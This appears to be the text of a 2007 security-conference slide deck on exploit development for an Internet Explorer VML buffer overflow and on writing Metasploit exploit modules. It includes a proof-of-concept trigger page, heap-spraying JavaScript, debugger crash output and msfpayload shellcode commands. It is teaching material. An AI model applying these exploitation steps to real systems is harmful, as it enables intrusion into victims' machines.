Writing Metasploit Plugins

More on Metasploit plugins from vulnerability to exploit Saumil Shah ceo, net-square IT Underground - Prague 2007

Saumil Shah - “krafty” ceo, net-square solutions [email_address] author: “Web Hacking - Attacks and Defense” # who am i # who am i 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33 USER TTY FROM LOGIN@ IDLE WHAT saumil console - 11:43 0:05 bash

From Vulnerability to Exploit Fuzzing EIP = 0x41414141 Debugger Attack Vector Reliable EIP return address Bad characters Test Shellcode (INT 3) INT 3? Final Shellcode Working exploit Shellcode Handling

The CPU’s registers The Intel 32-bit x86 registers: ESP EAX EBP EBX ESI ECX EDI EDX EIP accumulator base counter data instruction pointer destination index source index base pointer stack pointer

The Process Memory Map environment vars cmd line arguments **envp **argv argc main() local vars … v heap ^ stack … heap - malloc’ed data .bss .data .text 0xc0000000 0x08000000

Win32 Process Memory Map No access Shared user page PEB First TEB DLLs DLLs DLLs heap program image error trapping 0x7FFFFFFF 0x00000000 0x00010000 stack 0x7FFE1000 0x7FFE0000 0x7FFDF000 0x7FFDE000 0x40000000

Exploit example - IE VML overflow Buffer overflow in IE’s VML implementation MS06-055 <v:fillmethod=“AAAAAAAA…”> Exploiting IE 6 on XP SP2 Triggering the exploit by overwriting SEH

Windows SEH SEH - Structured Exception Handler Windows pops up a dialog box: Default handler kicking in.

Exception handling Try / catch block Pointer to the exception handling code also saved on the stack, for each code block. try { : code that may throw : an exception. } catch { : attempt to recover from : the exception gracefully. }

Exception handling … implementation params saved EIP saved EBP Bottom of stack more frames frame w/ exception handling local vars addr of exception handler exception handler code (catch block)

SEH Record Each SEH record is of 8 bytes These SEH records are found on the stack. In sequence with the functions being called, interspersed among function (block) frames. WinDBG command - !exchain address of exception handler ptr to next SEH record

SEH Chain Each SEH record is of 8 bytes addr of ex_handler1 ptr to SEH_record_2 addr of ex_handler2 ptr to next SEH_record_n default exception handler 0xFFFFFFFF MSVCRT!exhandler ex_handler1() ex_handler2() bottom of stack

SEH on the stack address of exception handler 0xFFFFFFFF main() ^ stack func_z() initial entry frame MSVCRT!exhandler address of exception handler ptr to next SEH record ex_handler_z() params saved EBP saved EIP local vars

Yet another way of getting EIP Overwrite one of the addresses of the registered exception handlers… … and, make the process throw an exception! If no custom exception handlers are registered, overwrite the default SEH. Might have to travel way down the stack… … but in doing so, you get a long buffer!

Overwriting SEH address of exception handler ptr to next SEH record ex_handler() params saved EBP saved EIP buffer

Overwriting SEH AAAA AAAA AAAA : : : AAAA AAAA ex_handler() AAAA AAAA AAAA AAAA AAAA Illegal memory access causes segmentation fault. OS invokes registered exception handler in the chain EIP = 0x42424242 AAAA

ie_vml1 proof of concept: <head> <object id="VMLRender” classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> </object> <style>v\:* { behavior: url(#VMLRender); }</style> </head> <body> <v:rect style='width:120pt;height:80pt' fillcolor="red"> <script> document.write("<v:fill method =\""); for(i = 0; i < 2625; i++) document.write("&#x4141&#x4141&#x4141&#x4141"); document.write("\">"); </script> </v:rect></v:fill></body>

Setting up the exploit On your host Run daemon.pl to serve up ie_vml1.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml1.html [*] Starting HTTP server on 8080 0:005> gh

Crashing IE Surf to http://192.168.7.xxx:8080/ The SEH record is overwritten. (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0013b4c4 ebx=001df20c ecx=0013b4b8 edx=00004141 esi=0000259e edi=00140000 eip=5deded1e esp=0013b4a0 ebp=0013b6c8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\VGX\vgx.dll - vgx!$DllMain$_gdiplus+0x30e8d: 5deded1e 668917 mov [edi],dx ds:0023:00140000=6341 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141

Crashing IE Surf to http://192.168.7.xxx:8080/ 0:000> !exchain 0013e420: 41414141 Invalid exception stack at 41414141 0:000> g (18c.584): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000 eip=41414141 esp=0013b0d0 ebp=0013b0f0 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 41414141 ?? ???

EIP = 0x41414141 We control EIP. Where do you want to go…? Direct return to stack? XP SP2 doesn’t allow it. Jump through registers? EDX ESP and EBP are the only possible options…but they don’t point to our buffer. Other registers are cleared, thanks to XP SP2. XP SP2 also forbids jumping into DLLs.

How do we pull it off? In other circumstances, we’d have to go through long tedious routes… … or publish a DoS exploit and call it a day. L4m3 We are exploiting a browser Browsers run Javascript Javascript has arrays Javascript arrays occupy heap memory

Loading our buffer in the heap Can we load our shellcode in the heap via Javascript? How do we know where our buffer lies? Direct jump into heap? yes! that is possible.

Heap Spraying Technique pioneered by Skylined Make a VERY large NOP sled Append shellcode at its end Create multiple instances of this NOP sled in the heap memory using Javascript arrays… a[0] = str; a[1] = str… The heap gets “sprayed” with our payloads. Land somewhere in the NOPs, and you win.

Heap Spraying NOP sled shellcode NOP sled shellcode NOP sled shellcode <script> : spray = build_large_nopsled(); a = new Array(); for(i = 0; i < 100; i++) a[i] = spray + shellcode; : </script> <html> : exploit trigger condition goes here : </html> a[7] a[8] a[9]

Tips on Heap Spraying Make really large NOP sleds approx 800,000 bytes per spray block Adjust the size of the NOP sled to leave very little holes inbetween spray blocks. Javascript Unicode encoding works great for shellcode. shellcode = unescape(“%uXXXX%uXXXX…”); Null bytes are not a problem anymore.

ie_vml2 On your host Run daemon.pl to serve up ie_vml2.html On the Windows box start up iexplore start up WinDBG press F6 in WinDBG and attach to iexplore.exe $ ./daemon.pl ie_vml2.html [*] Starting HTTP server on 8080 0:005> gh

Crashing IE again INT3 shellcode. Look for “90 90 90 90 cc cc cc cc” in the memory after IE crashes. 0:000> s 02000000 l fffffff 90 90 90 90 cc cc cc cc 02150020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02360020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02570020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02780020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02990020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02ba0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02db0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 02fc0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 031d0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ 033e0020 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................ : : :

Jump to heap We can point EIP to any of the sprayed blocks. Arbitrarily choose addresses 0x03030303 0x04040404 0x05050505…etc. ie_vml3.html jumps to 0x05050505 Got INT 3?

Introducing Metasploit An advanced open-source exploit research and development framework. http://metasploit.com Current stable version: 2.7 Written in Perl, runs on Unix and Win32 (cygwin) Brand new 3.0 Complete rewrite in Ruby

Introducing Metasploit Generate shellcode. Shellcode encoding. Shellcode handlers. Scanning binaries for specific instructions: e.g. POP/POP/RET, JMP ESI, etc. Ability to add custom exploits, shellcode, encoders. … and lots more.

Enter Shellcode Code assembled in the CPU’s native instruction set. Injected as a part of the buffer that is overflowed. Most typical function of the injected code is to “spawn a shell” - ergo “shellcode”. A buffer containing shellcode is termed as “payload”.

Writing Shellcode Need to know the CPU’s native instruction set: e.g. x86 (ia32), x86-64 (ia64), ppc, sparc, etc. Tight assembly language. OS specific system calls. Shellcode libraries and generators. Metasploit Framework.

Injecting the shellcode Easiest way is to pack it in the buffer overflow data itself. Place it somewhere in the payload data. Need to figure out where it will reside in the memory of the target process.

A little about shellcode Types of shellcode: Bind shell Exec command Reverse shell Staged shell, etc. Advanced techniques: Meterpreter Uploading and running DLLs “in-process” … etc.

Payload Encoders Payload encoders create encoded shellcode, which meets certain criteria. e.g. Alpha2 generates resultant shellcode which is only alphanumeric. Allows us to bypass any protocol parsing mechanisms / byte filters. An extra “decoder” is added to the beginning of the shellcode. size may increase.

Payload Encoders Example: Alpha2 encoding Transforms raw payload into alphanumeric only shellcode. Decoder decodes the payload “in-memory”. decoder UnWQ89Jas281EEIIkla2wnhaAS901las original shellcode (ascii 0-255)

Payload Encoders Metasploit offers many types of encoders. Work around protocol parsing e.g. avoid CR, LF, NULL toupper(), tolower(), etc. Defeat IDS Polymorphic Shellcode Shikata Ga Nai

Using Metasploit to generate shellcode We need Javascript Unicode encoded shellcode. We will run “calc.exe” msfpayload - cmdline shellcode generation. msfencode - cmdline shellcode encoder. jsencode.pl - wrapper around Metasploit’s Pex::Utils::JSUnescape() function.

Generate JSencoded shellcode: Final version ie_vml4.html contains working shellcode. A slight problem too many CALCs! Generate calc.exe shellcode $ ./msfpayload win32_exec EXITFUNC=“seh” CMD=“calc.exe” R | ./jsencode.pl

Exit function - “thread” vs. “seh” Exiting via SEH causes the whole thing to repeat itself. Re-generate the shellcode using EXITFUNC=“thread” $ ./msfpayload win32_exec EXITFUNC=“thread” CMD=“calc.exe” R | ./jsencode.pl

Writing Metasploit exploit modules Integration within the Metasploit framework. Multiple target support. Dynamic payload selection. Dynamic payload encoding. Built-in payload handlers. Can use advanced payloads. … a highly portable, flexible and rugged exploit!

How Metasploit runs an exploit List of known target values user supplied exploit info Metasploit Shellcode Library Encoders Payload handlers create payload launch attack get connection EXPLOIT preamble

Writing a Metasploit exploit Perl module (2.6), Ruby module (3.0) Pre-existing data structures %info, %advanced Constructor sub new {…} Exploit code sub Exploit {…}

Structure of the exploit perl module package Msf::Exploit::name; use base “Msf::Exploit”; use strict; use Pex::Text; my $advanced = { }; my $info = { }; sub new { } sub Exploit { } information block constructor return an instance of our exploit exploit block

%info Name Version Authors Arch OS Priv UserOpts Payload Encoder Refs DefaultTarget Targets Keys

Metasploit Pex Perl EXtensions. <metasploit_home>/lib/Pex.pm <metasploit_home>/lib/Pex/ Text processing routines. Socket management routines. Protocol specific routines. These and more are available for us to use in our exploit code.

Pex::Text Encoding and Decoding (e.g. Base64) Pattern Generation Random text generation (to defeat IDS) Padding … etc

Pex::Socket TCP UDP SSL TCP Raw UDP

Pex - protocol specific utilities SMB DCE RPC SunRPC MSSQL … etc

Pex - miscellaneous utilities Pex::Utils Array and hash manipulation Bit rotates Read and write files Format String generator Create Win32 PE files Create Javascript arrays … a whole lot of miscellany!

metasploit_skel.pm A skeleton exploit module. Walk-through. Can use this skeleton to code up exploit modules. Place finished exploit modules in: <path_to_metasploit>/exploits/

Finished examples my_ie_vml.pm

Some command line Metasploit tools msfcli Metasploit command line interface. Can script up metasploit framework actions in a non-interactive manner. msfpayload Generate payload with specific options. msfencode Encode generated payload.

More command line Metasploit tools msfweb Web interface to the Metasploit framework. msfupdate Live update for the Metasploit framework.

New in Version 3.0 msfd Metasploit daemon, allows for client-server operation of Metasploit. msfopcode command line interface to Metasploit’s online opcode database. msfwx a GUI interface using wxruby.

New in Version 3.0 New payloads, new encoders. Ruby extension - Rex (similar to Pex) NASM shell. Back end Database support. … whole lot of goodies here and there.

Thank You! Saumil Shah [email_address] http://net-square.com +91 98254 31192

Writing Metasploit Plugins

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Writing Metasploit Plugins (20)

More from amiable_indian (20)

Recently uploaded (20)

Writing Metasploit Plugins